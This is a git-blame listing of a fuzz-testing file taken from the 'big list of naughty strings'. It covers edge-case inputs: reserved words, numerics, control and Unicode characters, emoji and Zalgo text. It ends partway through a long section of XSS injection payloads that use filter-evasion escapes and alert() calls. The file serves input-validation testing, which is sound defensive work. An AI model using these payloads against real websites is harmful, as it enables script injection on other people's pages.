| Ed Tanous | d793bb4 | 2017-04-25 08:59:32 -0700 | [diff] [blame] | 1 | # sourced from https://raw.githubusercontent.com/minimaxir/big-list-of-naughty-strings/master/blns.txt | 
|  | 2 |  | 
|  | 3 | #	Reserved Strings | 
|  | 4 | # | 
|  | 5 | #	Strings which may be used elsewhere in code | 
|  | 6 |  | 
|  | 7 | undefined | 
|  | 8 | undef | 
|  | 9 | null | 
|  | 10 | NULL | 
|  | 11 | (null) | 
|  | 12 | nil | 
|  | 13 | NIL | 
|  | 14 | true | 
|  | 15 | false | 
|  | 16 | True | 
|  | 17 | False | 
|  | 18 | TRUE | 
|  | 19 | FALSE | 
|  | 20 | None | 
|  | 21 | hasOwnProperty | 
|  | 22 | \ | 
|  | 23 | \\ | 
|  | 24 |  | 
|  | 25 | #	Numeric Strings | 
|  | 26 | # | 
|  | 27 | #	Strings which can be interpreted as numeric | 
|  | 28 |  | 
|  | 29 | 0 | 
|  | 30 | 1 | 
|  | 31 | 1.00 | 
|  | 32 | $1.00 | 
|  | 33 | 1/2 | 
|  | 34 | 1E2 | 
|  | 35 | 1E02 | 
|  | 36 | 1E+02 | 
|  | 37 | -1 | 
|  | 38 | -1.00 | 
|  | 39 | -$1.00 | 
|  | 40 | -1/2 | 
|  | 41 | -1E2 | 
|  | 42 | -1E02 | 
|  | 43 | -1E+02 | 
|  | 44 | 1/0 | 
|  | 45 | 0/0 | 
|  | 46 | -2147483648/-1 | 
|  | 47 | -9223372036854775808/-1 | 
|  | 48 | -0 | 
|  | 49 | -0.0 | 
|  | 50 | +0 | 
|  | 51 | +0.0 | 
|  | 52 | 0.00 | 
|  | 53 | 0..0 | 
|  | 54 | . | 
|  | 55 | 0.0.0 | 
|  | 56 | 0,00 | 
|  | 57 | 0,,0 | 
|  | 58 | , | 
|  | 59 | 0,0,0 | 
|  | 60 | 0.0/0 | 
|  | 61 | 1.0/0.0 | 
|  | 62 | 0.0/0.0 | 
|  | 63 | 1,0/0,0 | 
|  | 64 | 0,0/0,0 | 
|  | 65 | --1 | 
|  | 66 | - | 
|  | 67 | -. | 
|  | 68 | -, | 
|  | 69 | 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 | 
|  | 70 | NaN | 
|  | 71 | Infinity | 
|  | 72 | -Infinity | 
|  | 73 | INF | 
|  | 74 | 1#INF | 
|  | 75 | -1#IND | 
|  | 76 | 1#QNAN | 
|  | 77 | 1#SNAN | 
|  | 78 | 1#IND | 
|  | 79 | 0x0 | 
|  | 80 | 0xffffffff | 
|  | 81 | 0xffffffffffffffff | 
|  | 82 | 0xabad1dea | 
|  | 83 | 123456789012345678901234567890123456789 | 
|  | 84 | 1,000.00 | 
|  | 85 | 1 000.00 | 
|  | 86 | 1'000.00 | 
|  | 87 | 1,000,000.00 | 
|  | 88 | 1 000 000.00 | 
|  | 89 | 1'000'000.00 | 
|  | 90 | 1.000,00 | 
|  | 91 | 1 000,00 | 
|  | 92 | 1'000,00 | 
|  | 93 | 1.000.000,00 | 
|  | 94 | 1 000 000,00 | 
|  | 95 | 1'000'000,00 | 
|  | 96 | 01000 | 
|  | 97 | 08 | 
|  | 98 | 09 | 
|  | 99 | 2.2250738585072011e-308 | 
|  | 100 |  | 
|  | 101 | #	Special Characters | 
|  | 102 | # | 
|  | 103 | # ASCII punctuation.  All of these characters may need to be escaped in some | 
|  | 104 | # contexts.  Divided into three groups based on (US-layout) keyboard position. | 
|  | 105 |  | 
|  | 106 | ,./;'[]\-= | 
|  | 107 | <>?:"{}|_+ | 
|  | 108 | !@#$%^&*()`~ | 
|  | 109 |  | 
|  | 110 | # Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F, | 
|  | 111 | # and U+007F (DEL) | 
|  | 112 | # Often forbidden to appear in various text-based file formats (e.g. XML), | 
|  | 113 | # or reused for internal delimiters on the theory that they should never | 
|  | 114 | # appear in input. | 
|  | 115 | # The next line may appear to be blank or mojibake in some viewers. | 
|  | 116 |  | 
|  | 117 |  | 
|  | 118 | # Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F. | 
|  | 119 | # Commonly misinterpreted as additional graphic characters. | 
|  | 120 | # The next line may appear to be blank, mojibake, or dingbats in some viewers. | 
|  | 121 |  | 
|  | 122 |  | 
|  | 123 | # Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode | 
|  | 124 | # version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL), | 
|  | 125 | # and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often | 
|  | 126 | # treated as whitespace in some contexts. | 
|  | 127 | # This file unfortunately cannot express strings containing | 
|  | 128 | # U+0000, U+000A, or U+000D (NUL, LF, CR). | 
|  | 129 | # The next line may appear to be blank or mojibake in some viewers. | 
|  | 130 | # The next line may be flagged for "trailing whitespace" in some viewers. | 
|  | 131 |  | 
|  | 132 |  | 
|  | 133 | # Unicode additional control characters: all of the characters with | 
|  | 134 | # general category Cf (in Unicode 8.0.0). | 
|  | 135 | # The next line may appear to be blank or mojibake in some viewers. | 
|  | 136 |  | 
|  | 137 |  | 
|  | 138 | # "Byte order marks", U+FEFF and U+FFFE, each on its own line. | 
|  | 139 | # The next two lines may appear to be blank or mojibake in some viewers. | 
|  | 140 |  | 
|  | 141 |  | 
|  | 142 |  | 
|  | 143 | #	Unicode Symbols | 
|  | 144 | # | 
|  | 145 | #	Strings which contain common unicode symbols (e.g. smart quotes) | 
|  | 146 |  | 
|  | 147 | Ω≈ç√∫˜µ≤≥÷ | 
|  | 148 | åß∂ƒ©˙∆˚¬…æ | 
|  | 149 | œ∑´®†¥¨ˆøπ“‘ | 
|  | 150 | ¡™£¢∞§¶•ªº–≠ | 
|  | 151 | ¸˛Ç◊ı˜Â¯˘¿ | 
|  | 152 | ÅÍÎÏ˝ÓÔÒÚÆ☃ | 
|  | 153 | Œ„´‰ˇÁ¨ˆØ∏”’ | 
|  | 154 | `⁄€‹›fifl‡°·‚—± | 
|  | 155 | ⅛⅜⅝⅞ | 
|  | 156 | ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя | 
|  | 157 | ٠١٢٣٤٥٦٧٨٩ | 
|  | 158 |  | 
|  | 159 | #	Unicode Subscript/Superscript/Accents | 
|  | 160 | # | 
|  | 161 | #	Strings which contain unicode subscripts/superscripts; can cause rendering issues | 
|  | 162 |  | 
|  | 163 | ⁰⁴⁵ | 
|  | 164 | ₀₁₂ | 
|  | 165 | ⁰⁴⁵₀₁₂ | 
|  | 166 | ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ | 
|  | 167 |  | 
|  | 168 | #	Quotation Marks | 
|  | 169 | # | 
|  | 170 | #	Strings which contain misplaced quotation marks; can cause encoding errors | 
|  | 171 |  | 
|  | 172 | ' | 
|  | 173 | " | 
|  | 174 | '' | 
|  | 175 | "" | 
|  | 176 | '"' | 
|  | 177 | "''''"'" | 
|  | 178 | "'"'"''''" | 
|  | 179 | <foo val=“bar” /> | 
|  | 180 | <foo val=“bar” /> | 
|  | 181 | <foo val=”bar“ /> | 
|  | 182 | <foo val=`bar' /> | 
|  | 183 |  | 
|  | 184 | #	Two-Byte Characters | 
|  | 185 | # | 
|  | 186 | #	Strings which contain two-byte characters: can cause rendering issues or character-length issues | 
|  | 187 |  | 
|  | 188 | 田中さんにあげて下さい | 
|  | 189 | パーティーへ行かないか | 
|  | 190 | 和製漢語 | 
|  | 191 | 部落格 | 
|  | 192 | 사회과학원 어학연구소 | 
|  | 193 | 찦차를 타고 온 펲시맨과 쑛다리 똠방각하 | 
|  | 194 | 社會科學院語學研究所 | 
|  | 195 | 울란바토르 | 
|  | 196 | 𠜎𠜱𠝹𠱓𠱸𠲖𠳏 | 
|  | 197 |  | 
|  | 198 | #	Changing length when lowercased | 
|  | 199 | # | 
|  | 200 | #	Characters which increase in length (2 to 3 bytes) when lowercased | 
|  | 201 | #	Credit: https://twitter.com/jifa/status/625776454479970304 | 
|  | 202 |  | 
|  | 203 | Ⱥ | 
|  | 204 | Ⱦ | 
|  | 205 |  | 
|  | 206 | #	Japanese Emoticons | 
|  | 207 | # | 
|  | 208 | #	Strings which consists of Japanese-style emoticons which are popular on the web | 
|  | 209 |  | 
|  | 210 | ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ | 
|  | 211 | (。◕ ∀ ◕。) | 
|  | 212 | `ィ(´∀`∩ | 
|  | 213 | __ロ(,_,*) | 
|  | 214 | ・( ̄∀ ̄)・:*: | 
|  | 215 | ゚・✿ヾ╲(。◕‿◕。)╱✿・゚ | 
|  | 216 | ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’ | 
|  | 217 | (╯°□°)╯︵ ┻━┻) | 
|  | 218 | (ノಥ益ಥ)ノ ┻━┻ | 
|  | 219 | ┬─┬ノ( º _ ºノ) | 
|  | 220 | ( ͡° ͜ʖ ͡°) | 
|  | 221 |  | 
|  | 222 | #	Emoji | 
|  | 223 | # | 
|  | 224 | #	Strings which contain Emoji; should be the same behavior as two-byte characters, but not always | 
|  | 225 |  | 
|  | 226 | 😍 | 
|  | 227 | 👩🏽 | 
|  | 228 | 👾 🙇 💁 🙅 🙆 🙋 🙎 🙍 | 
|  | 229 | 🐵 🙈 🙉 🙊 | 
|  | 230 | ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙 | 
|  | 231 | ✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿 | 
|  | 232 | 🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧 | 
|  | 233 | 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟 | 
|  | 234 |  | 
|  | 235 | #       Regional Indicator Symbols | 
|  | 236 | # | 
|  | 237 | #       Regional Indicator Symbols can be displayed differently across | 
|  | 238 | #       fonts, and have a number of special behaviors | 
|  | 239 |  | 
|  | 240 | 🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸 | 
|  | 241 | 🇺🇸🇷🇺🇸🇦🇫🇦🇲 | 
|  | 242 | 🇺🇸🇷🇺🇸🇦 | 
|  | 243 |  | 
|  | 244 | #	Unicode Numbers | 
|  | 245 | # | 
|  | 246 | #	Strings which contain unicode numbers; if the code is localized, it should see the input as numeric | 
|  | 247 |  | 
|  | 248 | 123 | 
|  | 249 | ١٢٣ | 
|  | 250 |  | 
|  | 251 | #	Right-To-Left Strings | 
|  | 252 | # | 
|  | 253 | #	Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew) | 
|  | 254 |  | 
|  | 255 | ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو. | 
|  | 256 | בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ | 
|  | 257 | הָיְתָהtestالصفحات التّحول | 
|  | 258 | ﷽ | 
|  | 259 | ﷺ | 
|  | 260 | مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ، | 
|  | 261 |  | 
|  | 262 | #	Trick Unicode | 
|  | 263 | # | 
|  | 264 | #	Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf) | 
|  | 265 |  | 
|  | 266 | test | 
|  | 267 | test | 
|  | 268 | test | 
|  | 269 | testtest | 
|  | 270 | test | 
|  | 271 |  | 
|  | 272 | #	Zalgo Text | 
|  | 273 | # | 
|  | 274 | #	Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net) | 
|  | 275 |  | 
|  | 276 | Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣ | 
|  | 277 | ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰ | 
|  | 278 | ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟ | 
|  | 279 | ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕ | 
|  | 280 | Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮ | 
|  | 281 |  | 
|  | 282 | #	Unicode Upsidedown | 
|  | 283 | # | 
|  | 284 | #	Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com) | 
|  | 285 |  | 
|  | 286 | ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥ | 
|  | 287 | 00˙Ɩ$- | 
|  | 288 |  | 
|  | 289 | #	Unicode font | 
|  | 290 | # | 
|  | 291 | #	Strings which contain bold/italic/etc. versions of normal characters | 
|  | 292 |  | 
|  | 293 | The quick brown fox jumps over the lazy dog | 
|  | 294 | 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠 | 
|  | 295 | 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌 | 
|  | 296 | 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈 | 
|  | 297 | 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰 | 
|  | 298 | 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘 | 
|  | 299 | 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐 | 
|  | 300 | ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢ | 
|  | 301 |  | 
|  | 302 | #	Script Injection | 
|  | 303 | # | 
|  | 304 | #	Strings which attempt to invoke a benign script injection; shows vulnerability to XSS | 
|  | 305 |  | 
|  | 306 | <script>alert(123)</script> | 
|  | 307 | <script>alert('123');</script> | 
|  | 308 | <img src=x onerror=alert(123) /> | 
|  | 309 | <svg><script>123<1>alert(123)</script> | 
|  | 310 | "><script>alert(123)</script> | 
|  | 311 | '><script>alert(123)</script> | 
|  | 312 | ><script>alert(123)</script> | 
|  | 313 | </script><script>alert(123)</script> | 
|  | 314 | < / script >< script >alert(123)< / script > | 
|  | 315 | onfocus=JaVaSCript:alert(123) autofocus | 
|  | 316 | " onfocus=JaVaSCript:alert(123) autofocus | 
|  | 317 | ' onfocus=JaVaSCript:alert(123) autofocus | 
|  | 318 | <script>alert(123)</script> | 
|  | 319 | <sc<script>ript>alert(123)</sc</script>ript> | 
|  | 320 | --><script>alert(123)</script> | 
|  | 321 | ";alert(123);t=" | 
|  | 322 | ';alert(123);t=' | 
|  | 323 | JavaSCript:alert(123) | 
|  | 324 | ;alert(123); | 
|  | 325 | src=JaVaSCript:prompt(132) | 
|  | 326 | "><script>alert(123);</script x=" | 
|  | 327 | '><script>alert(123);</script x=' | 
|  | 328 | ><script>alert(123);</script x= | 
|  | 329 | " autofocus onkeyup="javascript:alert(123) | 
|  | 330 | ' autofocus onkeyup='javascript:alert(123) | 
|  | 331 | <script\x20type="text/javascript">javascript:alert(1);</script> | 
|  | 332 | <script\x3Etype="text/javascript">javascript:alert(1);</script> | 
|  | 333 | <script\x0Dtype="text/javascript">javascript:alert(1);</script> | 
|  | 334 | <script\x09type="text/javascript">javascript:alert(1);</script> | 
|  | 335 | <script\x0Ctype="text/javascript">javascript:alert(1);</script> | 
|  | 336 | <script\x2Ftype="text/javascript">javascript:alert(1);</script> | 
|  | 337 | <script\x0Atype="text/javascript">javascript:alert(1);</script> | 
|  | 338 | '`"><\x3Cscript>javascript:alert(1)</script> | 
|  | 339 | '`"><\x00script>javascript:alert(1)</script> | 
|  | 340 | ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF | 
|  | 341 | ABC<div style="x:expression\x5C(javascript:alert(1)">DEF | 
|  | 342 | ABC<div style="x:expression\x00(javascript:alert(1)">DEF | 
|  | 343 | ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF | 
|  | 344 | ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF | 
|  | 345 | ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF | 
|  | 346 | ABC<div style="x:\x09expression(javascript:alert(1)">DEF | 
|  | 347 | ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF | 
|  | 348 | ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF | 
|  | 349 | ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF | 
|  | 350 | ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF | 
|  | 351 | ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF | 
|  | 352 | ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF | 
|  | 353 | ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF | 
|  | 354 | ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF | 
|  | 355 | ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF | 
|  | 356 | ABC<div style="x:\x20expression(javascript:alert(1)">DEF | 
|  | 357 | ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF | 
|  | 358 | ABC<div style="x:\x00expression(javascript:alert(1)">DEF | 
|  | 359 | ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF | 
|  | 360 | ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF | 
|  | 361 | ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF | 
|  | 362 | ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF | 
|  | 363 | ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF | 
|  | 364 | ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF | 
|  | 365 | ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF | 
|  | 366 | ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF | 
|  | 367 | <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 368 | <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 369 | <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 370 | <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 371 | <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 372 | <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 373 | <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 374 | <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 375 | <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 376 | <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 377 | <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 378 | <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 379 | <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 380 | <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 381 | <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 382 | <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 383 | <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 384 | <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 385 | <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 386 | <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 387 | <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 388 | <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 389 | <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 390 | <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 391 | <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 392 | <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 393 | <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 394 | <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 395 | <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 396 | <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 397 | <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 398 | <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 399 | <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 400 | <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 401 | <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 402 | <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 403 | <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 404 | <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 405 | <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 406 | <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 407 | <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 408 | <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 409 | <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 410 | <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 411 | <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 412 | <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 413 | <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 414 | <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 415 | <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 416 | <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 417 | <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 418 | <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 419 | <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 420 | <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 421 | <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 422 | <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 423 | <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> | 
|  | 424 | `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> | 
|  | 425 | `"'><img src=xxx:x \x22onerror=javascript:alert(1)> | 
|  | 426 | `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> | 
|  | 427 | `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> | 
|  | 428 | `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> | 
|  | 429 | `"'><img src=xxx:x \x09onerror=javascript:alert(1)> | 
|  | 430 | `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> | 
|  | 431 | `"'><img src=xxx:x \x00onerror=javascript:alert(1)> | 
|  | 432 | `"'><img src=xxx:x \x27onerror=javascript:alert(1)> | 
|  | 433 | `"'><img src=xxx:x \x20onerror=javascript:alert(1)> | 
|  | 434 | "`'><script>\x3Bjavascript:alert(1)</script> | 
|  | 435 | "`'><script>\x0Djavascript:alert(1)</script> | 
|  | 436 | "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> | 
|  | 437 | "`'><script>\xE2\x80\x81javascript:alert(1)</script> | 
|  | 438 | "`'><script>\xE2\x80\x84javascript:alert(1)</script> | 
|  | 439 | "`'><script>\xE3\x80\x80javascript:alert(1)</script> | 
|  | 440 | "`'><script>\x09javascript:alert(1)</script> | 
|  | 441 | "`'><script>\xE2\x80\x89javascript:alert(1)</script> | 
